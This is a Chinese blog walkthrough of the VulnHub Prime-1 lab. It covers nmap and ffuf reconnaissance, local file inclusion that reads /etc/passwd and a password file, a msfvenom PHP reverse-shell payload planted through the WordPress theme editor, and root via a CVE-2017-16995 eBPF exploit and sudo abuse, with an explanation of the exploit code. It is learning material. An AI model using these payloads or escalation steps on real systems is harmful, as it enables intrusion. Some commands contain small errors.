vulnhub: prime-1

发现靶机与端口

nmap工具扫描局域网

Nmap(全称 Network Mapper,网络映射器)是一款开源的网络探测和安全审核工具,由 Gordon Lyon(Fyodor)开发。它被广泛用于网络发现、安全扫描、端口扫描、服务版本探测、操作系统指纹识别等场景。Nmap 的设计目标是快速扫描大型网络,但同样适用于单个主机或小规模网络。

Nmap 通过发送精心构造的原始 IP 数据包(raw IP packets)来探测目标,并根据响应来判断主机状态、开放端口、服务信息等。它支持多种扫描技术,能绕过防火墙/IDS,并提供丰富的输出格式和脚本引擎(NSE)。最新版本(截至 2026 年)约为 7.96 系列,官方站点为 https://nmap.org

1. 安装与基本用法

  • Linux/macOS:大多数发行版自带(如 apt install nmapbrew install nmap)。
  • Windows:从官网下载安装包或使用 Chocolatey。
  • 基本命令格式
    nmap [扫描类型] [选项] {目标}
    
    示例(最简单扫描):
    nmap 192.168.1.1          # 扫描单个 IP
    nmap 192.168.1.0/24       # 扫描整个子网
    nmap example.com          # 扫描域名
    

不带参数运行 nmap 会显示选项概要(下面会详细列出)。

2. 选项概要(完整列表)

以下是官方选项概要(来自 Nmap 中文手册),按功能分类整理。每个选项后面附带简要描述。

目标指定(Target Specification)

  • -iL <inputfilename>:从文件读取目标列表(每行一个主机/IP/网段)。
  • -iR <num hosts>:随机选择指定数量的主机扫描(常用于互联网大范围扫描)。
  • --exclude <host1[,host2]...>:排除某些主机/网段。
  • --excludefile <exclude_file>:从文件排除列表。

主机发现(Host Discovery)

  • -sL:仅列出目标,不扫描(列表扫描)。
  • -sn(旧版 -sP):Ping 扫描,仅检查主机是否在线。
  • -Pn(旧版 -P0):跳过主机发现,认为所有目标都在线。
  • -PS/PA/PU [portlist]:TCP SYN/ACK 或 UDP 探测指定端口。
  • -PE/PP/PM:ICMP echo、timestamp、netmask 请求。
  • -n / -R:不进行 / 始终进行 DNS 解析。

扫描技术(Scan Techniques)

  • -sS:TCP SYN 扫描(默认,最快、最常用,半开放)。
  • -sT:TCP connect() 扫描(非 root 用户可用,建立完整连接)。
  • -sU:UDP 扫描。
  • -sN/-sF/-sX:TCP Null/FIN/Xmas 扫描(隐蔽扫描)。
  • -sA:TCP ACK 扫描(探测防火墙规则)。
  • -sW/-sM:TCP Window/Maimon 扫描。
  • --scanflags <flags>:自定义 TCP 标志位。
  • -sI <zombie host[:probeport]>:Idle(空闲)扫描(极致隐蔽)。
  • -sO:IP 协议扫描。
  • -b <ftp relay host>:FTP bounce 扫描(已很少使用)。

端口指定和扫描顺序

  • -p <port ranges>:指定端口(如 -p 1-65535-p 80,443-p U:53,T:80)。
  • -F:快速扫描(仅扫描 nmap-services 中最常见的 100 个端口)。
  • -r:按顺序扫描端口(默认随机化)。

服务/版本探测

  • -sV:探测开放端口的服务与版本。
  • --version-light / --version-all:轻量/完整版本探测。
  • --version-trace:显示版本探测调试信息。

操作系统探测

  • -O:启用 OS 检测(指纹识别)。
  • --osscan-limit / --osscan-guess:限制或激进猜测 OS。

时间和性能(Timing and Performance)

  • -T[0-6]:时间模板(0=Paranoid 极慢隐蔽,3=Normal 默认,5=Insane 极快)。
  • --min-hostgroup / --max-hostgroup <size>:并行主机组大小。
  • --min-parallelism / --max-parallelism <num>:探测报文并行度。
  • --min-rtt-timeout / --max-rtt-timeout / --initial-rtt-timeout <msec>:往返时间超时设置。
  • --host-timeout <msec>:单个主机超时放弃。
  • --scan-delay / --max-scan-delay <msec>:探测间隔延迟(躲避 IDS)。

防火墙/IDS 躲避和哄骗

  • -f / --mtu <val>:分片数据包。
  • -D <decoy1,decoy2[,ME],...>:诱饵 IP(伪装扫描源)。
  • -S <IP>:伪造源地址。
  • -e <iface>:指定网络接口。
  • -g / --source-port <portnum>:伪造源端口。
  • --data-length <num>:在报文中附加随机数据。
  • --ttl <val>:设置 IP TTL。
  • --spoof-mac <mac>:伪造 MAC 地址。

输出(Output)

  • -oN/-oX/-oS/-oG <file>:普通、XML、Script kiddie、Grepable 格式输出。
  • -oA <basename>:同时输出三种主要格式。
  • -v:增加详细度(-vv 更详细)。
  • -d[level]:调试级别(最高 9)。
  • --packet-trace:跟踪所有收发包。
  • --resume <file>:恢复中断扫描。

杂项(Miscellaneous)

  • -6:IPv6 扫描。
  • -A:启用 OS 检测 + 版本探测 + 脚本 + Traceroute(Aggressive 模式)。
  • --script <script> / -sC:Nmap Scripting Engine(NSE)脚本扫描。
  • -V / -h:显示版本 / 帮助。

3. 端口扫描技术详细讲解

Nmap 支持十多种扫描方式,大多数需要 root 权限(原始套接字)。默认使用 -sS(SYN 扫描)。以下是核心类型(官方手册摘录):

  • -sS (TCP SYN 扫描):最推荐。发送 SYN 包,不完成三次握手。响应 SYN/ACK → open;RST → closed;无响应/ICMP → filtered。
  • -sT (TCP connect() 扫描):非 root 用户唯一选择,建立完整 TCP 连接,较慢且易被日志记录。
  • -sU (UDP 扫描):扫描 UDP 服务(如 DNS 53),速度慢,常与 TCP 结合使用(-sS -sU)。
  • -sN/-sF/-sX:隐蔽扫描,利用 RFC 不规范行为绕过无状态防火墙(开放端口通常无响应)。
  • -sI (Idle 扫描):使用“僵尸主机”进行盲扫描,IDS 几乎无法追踪到真实扫描者(极高级)。
  • -sO (IP 协议扫描):扫描支持的 IP 协议号,而非端口。

4. 时间与性能优化

Nmap 扫描速度可通过以下选项大幅调整(官方手册):

  • -T4 / -T5:推荐用于可靠网络(Aggressive/Insane),极大加快扫描。
  • 并行度--min-parallelism 10 增加并发报文。
  • 超时:本地网络设 --max-rtt-timeout 100 可显著提速。
  • 主机组:大网段用 --max-hostgroup 2048
  • 延迟--scan-delay 1000 适合躲避 IDS。

5. 高级功能

  • NSE 脚本引擎-sC(默认脚本)或 --script vuln(漏洞脚本)、--script http-enum 等。脚本目录在 /usr/share/nmap/scripts/
  • Traceroute--traceroute 显示路径。
  • Aggressive 模式-A = -O -sV -sC --traceroute 一键全能扫描。

6. 实用示例

  • 完整扫描(推荐入门):
    nmap -A -T4 -v 192.168.1.1
    
  • 快速端口 + 服务版本:
    nmap -sV -F 192.168.1.0/24
    
  • 隐蔽扫描 + 诱饵:
    nmap -sS -D 192.168.1.100,ME -T2 target.com
    
  • 仅 UDP + 脚本:
    nmap -sU -sC --top-ports 100 8.8.8.8
    
  • 输出到文件:
    nmap -oX result.xml -A target
    

7. 注意事项

  • 权限:多数高级扫描需要 sudo
  • 合法性:仅在授权环境下使用,扫描他人网络可能违法。
  • 性能:大规模扫描前先用 -T3 测试,避免被封禁或网络拥堵。
  • 更新:定期 nmap --script-updatedb 更新脚本库。

完整中文手册https://nmap.org/man/zh/(分章节,非常详细,推荐结合阅读)。
英文完整参考https://nmap.org/book/man.html。

🎃

kali虚拟机的ip是192.168.64.2
所以扫描网段192.168.64.0/24

nmap -sn 192.168.64.0/24

输出如下:
1

192.168.64.1是网关,除了kali,就只剩下一个192.168.64.3

指定ip地址,然后探测其开放的端口与对应的应用版本:

nmap -sV 192.168.64.3

输出如下:
2

可以看出开放了2个端口:

  • 22 tcp OpenSSH 7.2
  • 80 tcp http Apache httpd 2.4.18

metasploit工具扫描局域网

使用msf搜索可用的扫描模块:

search type:auxiliary path:scanner smb          # SMB 相关扫描
search type:auxiliary path:scanner http         # HTTP/网页相关
search type:auxiliary path:scanner portscan     # 端口扫描
search type:auxiliary path:scanner discovery    # 主机发现
search type:auxiliary path:scanner ssh          # SSH
search type:auxiliary path:scanner mysql        # MySQL
search type:auxiliary path:scanner ftp          # FTP
search type:auxiliary path:scanner _version     # 所有版本探测模块(_version 结尾的很多)
search type:auxiliary path:scanner smb login    # SMB 弱密码爆破
search type:auxiliary path:scanner http dir     # 目录扫描
search name:login type:auxiliary path:scanner   # 所有 login(爆破)模块

3

msf > use auxiliary/scanner/discovery/udp_sweep

4

msf > set rhosts 192.168.64.0/24

5

好吧,没有发现;现在试试端口扫描:

6

msf > use auxiliary/scanner/portscan/tcp

7

msf > set rhosts 192.168.64.3

8

端口是扫到了。


访问http服务,执行目录扫描,文件扫描,文件参数扫描

访问http://192.168.64.3:80,显示如下:

9

在kali里面自带的扫描目录的字典有:

1. 主要目录扫描字典路径

  • /usr/share/wordlists/dirb/
    这是 dirb 工具专用的目录,里面有多个常用字典(通过软链接指向 /usr/share/wordlists/dirb):

    • common.txt:最常用的小型字典(约 4000+ 条),包含常见目录和文件(如 admin、backup、login 等),适合快速扫描。
    • big.txt:较大的通用字典。
    • catala.txtspanish.txt 等语言特定字典。
    • 其他如 mutations_common.txtothers/ 子目录下的扩展字典。
  • /usr/share/wordlists/dirbuster/(或通过软链接 /usr/share/wordlists/dirbuster)
    DirBuster 工具的专用字典:

    • directory-list-2.3-small.txt
    • directory-list-2.3-medium.txt
    • directory-list-2.3-big.txt
      这些是经典的目录列表字典,medium 版本平衡了大小和覆盖率,常用于 DirBuster、gobuster 等工具。
  • /usr/share/seclists/(推荐安装 seclists 包后使用)
    如果你安装了 seclistssudo apt install seclists),这里有更全面的 Discovery/Web-Content/ 子目录,包含大量高质量目录扫描字典,如:

    • directory-list-2.3-medium.txt
    • common.txt
    • raft-*.txt 系列(更大更全)
    • CMS 特定(如 WordPress、Joomla)目录等。
      这比 dirb/dirbuster 更丰富,很多现代工具(如 gobuster、dirsearch)都推荐用这里的字典。

2. 其他相关路径

  • /usr/share/wordlists/(总目录)
    这里是 Kali 字典的入口,很多工具会软链接到这里。你可以用 ls /usr/share/wordlists/ 查看,包括 dirb、dirbuster 等链接。
  • /usr/share/dirb/wordlists/(dirb 工具原始路径,与上面一致)。

3. 常用目录扫描工具及字典示例

  • dirbdirb http://target/ /usr/share/wordlists/dirb/common.txt
  • gobustergobuster dir -u http://target/ -w /usr/share/wordlists/dirb/common.txt(或用 dirbuster 的 medium.txt)
  • dirsearchdirsearch -u http://target/ -w /usr/share/wordlists/dirb/common.txt
  • DirBuster(GUI 工具):默认加载 dirbuster 目录下的列表。

小贴士

  • rockyou.txt.gz/usr/share/wordlists/ 下,但这是密码字典(需 gunzip 解压),不适合目录扫描。
  • 如果字典不够用,强烈建议安装 seclistssudo apt update && sudo apt install seclists,它会提供几百个高质量字典。
  • 查看所有字典:ls -R /usr/share/wordlists/ | grep -E '\.txt$|\.lst$'

直接在终端输入 locate common.txtls /usr/share/wordlists/dirb/ 就能快速看到具体文件。如果你的 Kali 版本较新,路径基本一致,但建议用 updatedb && locate dirb 确认。

尝试使用ffuf

语言:Go,速度极快,支持递归、多线程、各种 fuzz 模式。

sudo apt install ffuf
  • -u 指定 URL
  • FUZZ 是占位符
  • -w 字典
  • -e 扩展名
  • -fc 403 过滤 403 状态码
  • -mc 200 匹配 200 状态码
  • -ac 自动过滤
$ ffuf -u http://192.168.64.3:80/FUZZ -w /usr/share/seclists/Discovery/Web-Content/directory-list-2.3-medium.txt -e .php,.zip,.txt,.html,.js,.htaccesss -ac

结果如下:
10

很明显有文件secret.txt,可以看一看;有wordpress文件夹,CMS可能是wordpress.

secret.txt文件内容如下:
16

接下来尝试对2个php文件的参数进行爆破

  • index.php文件

    ffuf -u http://192.168.64.3:80/index.php?FUZZ=test -w /usr/share/seclists/Discovery/Web-Content/burp-parameter-names.txt -mc 200 301 302 -fc 403 -ac
    

    结果如下:
    13

    有参数file

  • image.php文件

    ffuf -u http://192.168.64.3:80/image.php?FUZZ=test -w /usr/share/seclists/Discovery/Web-Content/burp-parameter-names.txt -mc 200 301 302 -fc 403 -ac
    

    结果如下:
    14

    没有发现什么参数。

发现有参数file用着看看

访问一下

http://192.168.64.3:80/index.php?file=1
http://192.168.64.3:80/index.php?file=100
http://192.168.64.3:80/index.php?file=/etc/passwd

页面显示如下:
15

说明参数file后面的内容不对。上面提到的locaton.txt会不会就是使用在这里:

http://192.168.64.3:80/index.php?file=location.txt

页面出现如下内容:
17

利用LFI

经过提示,可以得到url:http://192.168.64.3:80/image.php?secrettier360=
继续尝试LFI:

http://192.168.64.3:80/image.php?secrettier360=/etc/passwd

得到如下界面:
18

从输出的文件中可以比较清楚的看到find password.txt file in my directory

于是继续利用LFI去访问:

http://192.168.64.3:80/image.php?secrettier360=/home/saket/password.txt

页面显示如下:
19

因为文件名是password,所以有足够的理由认为follow_the_ippsec就是密码。

联系到前面有ssh端口开放,尝试去登陆:

saket: follow_the_ippsec
victor: follow_the_ippsec

都不行。
直接在prime-1界面输入victor的密码,也不行。

前面有扫到worpress,感觉可以利用一下。

wordpress

!这里的prime-1靶机出了一点问题,IP地址变为了192.168.64.5!

爆破wordpress下面的文件

$ ffuf -u http://192.168.64.5:80/wordpress/FUZZ -w /usr/share/seclists/Discovery/Web-Content/directory-list-2.3-medium.txt -e .php,.zip,.txt,.html,.js,.htaccesss -ac

得到如下结果:
20

不知道为什么我这里访问wordpress会出现问题,打开查看源码,会发现如下问题:
21

从源码里面可以很清楚的发现,原本应该是192.168.64.5的地址变成了192.168.64.5%20fd35:96db:d611:221f:c0cc:9293:2174:5e78%20fd35:96db:d611:221f:a260:9d2:3a71:e408,后面一段似乎是一个ipv6地址,考虑使用Burp Suite来过滤替换。
在Burp Suite的HTTP规则里面添加规则:

  • Request Header: 192.168.64.5%20fd35:96db:d611:221f:c0cc:9293:2174:5e78%20fd35:96db:d611:221f:a260:9d2:3a71:e408 ➡️ 192.168.64.5
  • Response Body: 192.168.64.5%20fd35:96db:d611:221f:c0cc:9293:2174:5e78%20fd35:96db:d611:221f:a260:9d2:3a71:e408 ➡️ 192.168.64.5

访问http://192.168.64.5:80/wordpress/wp-login.php:
尝试上面的密码登陆:Username:victor; Password:follow_the_ippsec
页面出现了问题:
22

这是因为替换导致的Content-Length不匹配,所以打开Burp Suite,添加一条规则:(去掉Content-Length这个一行,让浏览器自己确定Response的长度)

  • Response Header: ^Content-Length: \d+ ➡️ , 勾选下面的Regex match

再次访问http://192.168.64.5:80/wordpress/wp-login.php,输入用户名和密码,还是不行,于是开启Burp Suite抓包,在Response里面看到如下:
23

可以明显的发现192.168.64.5fd35:96db:d611:221f:c0cc:9293:2174:5e78%20fd35:96db:d611:221f:a260:9d2:3a71:e408,于是在Burp Suite的HTTP里再次添加规则:(这里把Header和Body索性都换了)

  • Response Header:192.168.64.5fd35:96db:d611:221f:c0cc:9293:2174:5e78fd35:96db:d611:221f:a260:9d2:3a71:e408 ➡️ 192.168.64.5
  • Response Body:192.168.64.5fd35:96db:d611:221f:c0cc:9293:2174:5e78fd35:96db:d611:221f:a260:9d2:3a71:e408 ➡️ 192.168.64.5

再次访问http://192.168.64.5:80/wordpress/wp-login.php,输入用户名和密码,显示如下:
24

这个问题应该是css等样式文件没有加载进来,查看网页源码:
25

所以还需要使用Burp Suite替换,添加如下规则:

  • Response body: 192.168.64.5 fd35:96db:d611:221f:c0cc:9293:2174:5e78 fd35:96db:d611:221f:a260:9d2:3a71:e408 ➡️ 192.168.64.5

刷新页面:界面加载成功
26

查找wordpress上面有没有文件上传、文件写入等操作

目前找到2个可能有漏洞的点:

文件上传

依次点击:Apprearance > Themes > Add New Theme > Upload Theme,显示如下:
27

随便上传一张图片上去,显示如下:
28

说明当前用户在系统中没有写入的权限,这个文件上传应该是不行。

文件写入

  • 依次点击:Plugins > Plugin Editor,看到右侧有许多的php文件
  • 依次点击:Appearance > Theme Editor,可以看到右侧有许多的可以修改的文件。重点关注php、js等文件。

通过 \(努力^n\) 的查找,终于在Theme Editor里面找到一个文件secret.php可以修改。

使用msfvenom生成PHP反弹脚本

msfvenom -p php/meterpreter/reverse_tcp lhost=192.168.64.5 lport=8888 -f raw -o r_tcp.php

将文件r_tcp.php里面的内容粘贴进secret.php里面。点击upload file,页面出现如下问题:
29

  • 出现这个问题的原因是:目前这个secret.php是wordpress正在使用的一个主题里面文件,wordpress为了防止用户随意修改文件导致网站出错,因此会本地回环访问这个上传/修改的文件,但是这里本地回环访问不成功,所有没有修改成功。所有只要通过wordpress后台去选择使用另外一个主题,那么我们上传这个secret.php,wordpress就不会去本地回环检查了。
  • 解决:在Appearance > Themes里面随便选一个其他的主题激活(secret.php在主题Twenty Nineteen里面),然后将r_tcp.php里面的内容复制进去,点击上传。

在kali的一个终端里面使用msf监听端口8888.

$ msfconsole
msf > use exploit/multi/handler
msf > set lhost 192.168.64.2
msf > set lport 8888
msf > run

如下图:
30

在wordpress里面主题的目录一般在/var/www/html/wordpress/wp−content/themes/[主题名]/[文件名]

  • 确定主题名:查看浏览器的url,可以查看到theme=twentynineteen,有理由相信,主题名可能就是twentynineteen(实在不行就去扫一下)
  • 确定文件名:这个很明显就是secret.php

提权

利用内核漏洞提权

打开浏览器,访问:http://192.168.64.5:80/wordpress/wp−content/themes/twentynineteen/secret.php

可以在kali的msf看到:已经拿到meterpreter了
31

查看linux版本:
32

meterpreter > background    # 将当前session调至后台
msf > search ubuntu 16. priv_esc
msf > use exploit/linux/local/bpf_sign_extension_priv_esc

下面设置参数:

set session 1
set lhost 192.168.64.5
set lport 4444

设置完参数之后,run. 成功拿到root权限。
33

利用靶场作者的提示提权

输入:

$ sudo -l

显示如下:
34

于是,利用sudo执行这个命令,

sudo /home/saket/enc

这里需要密码,这个密码可以在系统里面找:可以在系统里面查找类似带有如下字样的文件

  • pass
  • key
  • www-data
  • saket
  • victor
  • enc
    查找的时候可以排除一些文件夹,这些文件夹中基本上是不会有我们想要的信息的/是我们目前身份根本访问不到的。
find / \( -path /proc -o -path /sys -o -path /root -o -path /dev -o -path /lib -o -path /usr \) -prune -o -iname *[上面的字样]* -print 2>/dev/null

经过几轮查找,终于找到/opt/backup/server_database/backup_pass
内容如下:
35

于是继续去执行sudo /home/saket/enc:
36

不知道这个命令的成功执行干了些什么:只能推测了

  • 转变身份了?变成root了?
  • 生成新文件了?
  • ...

没变身份,那就继续找一下文件:

find / \( -path /proc -o -path /sys -o -path /root -o -path /dev -o -path /lib -o -path /usr \) -prune -o -iname *[上面的字样]* -print 2>/dev/null

/home/saket里面找到key.txtenc.txt
查看一下key.txtenc.txt
37

执行命令:

$ md5=$( printf %s 'ippsec' | md5sum | awk {print $1} )
$ echo $md5
$ key=$( printf %s "$md5" | xxd -p -c 256 )
$ openssl enc -aes-256-ecb -d -a -in /home/saket/enc.txt -K $key

结果如下:
38

登陆saket用户:考虑使用ssh登陆。

$ sudo -l

显示如下:
39

继续类似前面的操作:

sudo /home/victor/undefeated_victor

显示如下:
40

出现/tmp/challenge: not found,考虑在/tmp/challenge里面添加/bin/bash(加入/bin/bash是因为命令会使用root权限执行,从而得到root的shell)

touch /tmp/challenge
ehco "/bin/bash" > /tmp/challenge
chmod +x /tmp/challenge

继续执行命令:

sudo /home/victor/undefeated_victor

显示如下:已经拿到root权限了
41


分析一下上面使用的内核漏洞提权的原理

总体过程描述

使用的那个 Metasploit 模块 (bpf_sign_extension_priv_esc) 利用的是 CVE-2017-16995。这是 Linux 内核中一个非常著名且经典的 eBPF(Extended Berkeley Packet Filter) 漏洞。

1. 核心背景:什么是 eBPF 和验证器(Verifier)?

  • eBPF 是什么: 简单来说,eBPF 允许普通用户(User Space)向操作系统的“核心大脑”(Kernel Space)注入并运行一小段自定义代码,通常用于网络抓包、性能监控等。
  • 验证器(Verifier)的职责: 因为让普通用户在内核里跑代码极其危险(一旦代码写错,整个系统就会崩溃或者被黑),Linux 设计了一个严格的“安检员”——eBPF Verifier
  • 在代码真正在内核运行之前,Verifier 会通过静态分析,逐行模拟检查这段 eBPF 代码,确保它:不会死循环、不会越界访问内存、不会读取未初始化的变量。只有 Verifier 认为绝对安全的代码,才会被放行执行。

2. 漏洞成因:致命的“符号扩展”逻辑错误

这个漏洞的名字叫 sign_extension(符号扩展),问题就出在 Verifier 的数学计算逻辑上(具体在 kernel/bpf/verifier.ccheck_alu_op 函数中)。

在计算机底层,数据有 32 位和 64 位之分。

  • 当你把一个 32 位的负数(比如 -1,二进制表示全是 1)转换成 64 位时,为了保持它的值依然是 -1,CPU 会进行符号扩展(Sign Extension),把高位也全部填满 1。
  • 如果你把一个 32 位的无符号数扩展到 64 位,高位则会全部填 0

CVE-2017-16995 的核心 Bug 在于:
eBPF 验证器在模拟检查包含某些 ALU(算术逻辑单元)操作的 32 位到 64 位转换时,它错误地忽略了符号扩展

3. 攻击原理:如何“瞒天过海”实现提权?

黑客利用这个 Bug,精心构造了一段恶意的 eBPF 代码,整个提权过程可以分为三步:

第一步:欺骗验证器 (Fooling the Verifier)
攻击者写了一段代码,其中包含特定的 32 位负数运算。

  • 在 Verifier 眼中(模拟阶段): 因为它有 Bug,没有正确处理符号扩展,它错误地计算出一个内存指针的偏移量非常小,完全在合法的安全范围内。于是,Verifier 盖章放行:“这段代码是安全的!”

第二步:运行时的“真面目” (Runtime Execution)

  • 在实际内核中运行(执行阶段): 真正的 64 位 CPU 硬件是懂符号扩展的。这段代码跑起来后,那个数值变成了包含巨大偏移量的 64 位值。
  • 结果: 攻击者获得了一个越界读写(Out-Of-Bounds Read/Write)的指针。此时,这段恶意代码虽然运行在沙箱里,但它的手已经可以伸到沙箱外面的内核内存中了。

第三步:篡改凭证,化身 Root (Overwriting cred struct)
获得了内核任意读写能力后,提权就变成了经典的“内存爆破”游戏:

  1. 在 Linux 中,每个运行的进程在内核里都有一个专属的身份档案,叫做 cred(credentials)结构体。
  2. 这个结构体里记录了进程的 uid(用户 ID)、gid(组 ID)等。普通用户的 uid 通常是 1000。
  3. 恶意 eBPF 程序利用越界读写能力,在内核内存中疯狂扫描,寻找当前执行漏洞程序的那个进程的 cred 结构体。
  4. 一旦找到,直接把内存里的 uid=1000 覆写成 uid=0(也就是 root)。

当 eBPF 程序运行结束,把控制权交还给用户态时,操作系统一检查身份:“哇,uid 是 0,您是 root,请进!” 提权就此成功。

总结来说:
这个漏洞本质上是“静态检查(Verifier 认为安全)”与“动态执行(CPU 实际执行越界)”之间产生了认知偏差,导致安全沙箱被打破,最终被用来篡改内核空间的用户权限标识。

既然你已经掌握了这个漏洞的攻击面,需要我从防守的角度,给你讲讲 Linux 后来是如何修复这个漏洞并加固 eBPF 机制的吗?还是说你想继续探讨 Prime-1 里的其他打法?

具体代码分析

前面我们说到,check_alu_op() 的 Bug 在于:验证器错误地对 32 位立即数进行了“符号扩展”(当成负数),而真实的 CPU 运行时执行的是“零扩展”(当成巨大的正数)。

但这里有一个问题:即使验证器认为寄存器的值是 -1,如果你直接把它加上内存指针,验证器依然会报错(因为指针减 1 往往也越界了)。

所以,攻击者需要写一套“组合拳”,利用这个 Bug 彻底驯服验证器,让验证器认为寄存器的值是 0(绝对安全),但真实运行时它的值却是 1。只要拿到了这个微小的差异,就可以无限放大了。

下面就是这段价值连城的 eBPF 汇编“组合拳”(用 C 语言宏表示):

核心 Exploit 代码拆解

假设我们使用寄存器 R1,我们要一步步骗过验证器:

第一步:触发 Bug(埋下分歧的种子)

BPF_MOV32_IMM(BPF_REG_1, 0xFFFFFFFF), 

这行代码的意思是:把 32 位的立即数 0xFFFFFFFF(二进制全 1)放进 R1

  • 🕵️ 验证器脑补状态: check_alu_op() 看到这个 32 位的 0xFFFFFFFF,由于 Bug 存在,它底层发生了符号扩展。它认为 R1 的值是一个 64 位的负数 -1(也就是 0xFFFFFFFFFFFFFFFF)。
  • 💻 真实 CPU 运行状态: 真实的 eBPF 虚拟机在执行 32 位 MOV 时,执行的是零扩展。所以高 32 位全补 0,R1 变成了 0x00000000FFFFFFFF(十进制的 42 亿多)。

第二步:欺骗验证器,制造“零”的假象

BPF_ALU64_IMM(BPF_ADD, BPF_REG_1, 1),

这行代码:对 R1 进行 64 位的加 1 操作。

  • 🕵️ 验证器脑补状态: 它认为之前 R1-1。那么 -1 + 1 = 0验证器此时笃定,R1 的值绝对是 0
  • 💻 真实 CPU 运行状态: 真实内存中,R1 是 42 亿多。加上 1 之后,发生了进位,变成了 0x0000000100000000

第三步:提取差异(神来之笔)

BPF_ALU64_IMM(BPF_RSH, BPF_REG_1, 32),

这行代码:把 R1 里的数值向右位移(Right Shift)32 位。

  • 🕵️ 验证器脑补状态: 它认为 R100 右移 32 位,依然是 0。验证器毫不怀疑。
  • 💻 真实 CPU 运行状态:0x0000000100000000 右移 32 位,低位的 32 个 0 被挤掉了,高位的 1 降到了低位。R1 变成了 1

致命一击:无限放大,越界读写

到目前为止,验证器认定 R1 = 0,但真实运行时 R1 = 1 攻击者已经赢了。接下来就是收割环节:

// 1. 将差异放大到任意想要的偏移量 (比如 0x10000 字节)
BPF_ALU64_IMM(BPF_MUL, BPF_REG_1, 0x10000),

// 2. 加上我们之前合法的内存块指针 (BPF_REG_PTR)
BPF_ALU64_REG(BPF_ADD, BPF_REG_PTR, BPF_REG_1),

在执行加法时,check_alu_op() 会做最后的安全检查:

  • 验证器想: R1 之前推算是 00 * 0x10000 还是 0。指针加上 0,没有越界,安全,放行!
  • CPU 真实执行: R1 真实值是 11 * 0x100000x10000。合法指针突然被向后猛推了 0x10000 个字节,直接冲出了沙箱的安全内存区,指向了内核的深水区!

最后,攻击者只需要通过这个指向深水区的 BPF_REG_PTR 读取和修改数据,就能在内核里扫描到当前进程的 cred 结构体,把 uid=1000 改成 uid=0,瞬间拿到 root。

小结

这就是二进制漏洞利用中常说的 "State Mismatch"(状态不匹配)。攻击者就像一个极高明的魔术师,让安检员(验证器)死死盯着他空空如也的左手(认为值为 0),而他的右手(真实 CPU 执行)却已经悄悄把作案工具送进了金库。



硬件与软件平台

硬件

  • Apple Macbook pro M1-Pro 32G 512G
  • UTM虚拟机

软件

kali

  • IP: 192.168.64.2
  • OS Realease: debian 2025.4
  • Arm64

prime-1:

  • https://www.vulnhub.com/entry/prime-1,358/

水平有限,有不足、错误之处欢迎指出。🧐

posted on 2026-03-27 11:50  curme_miller  阅读(14)  评论(0)    收藏  举报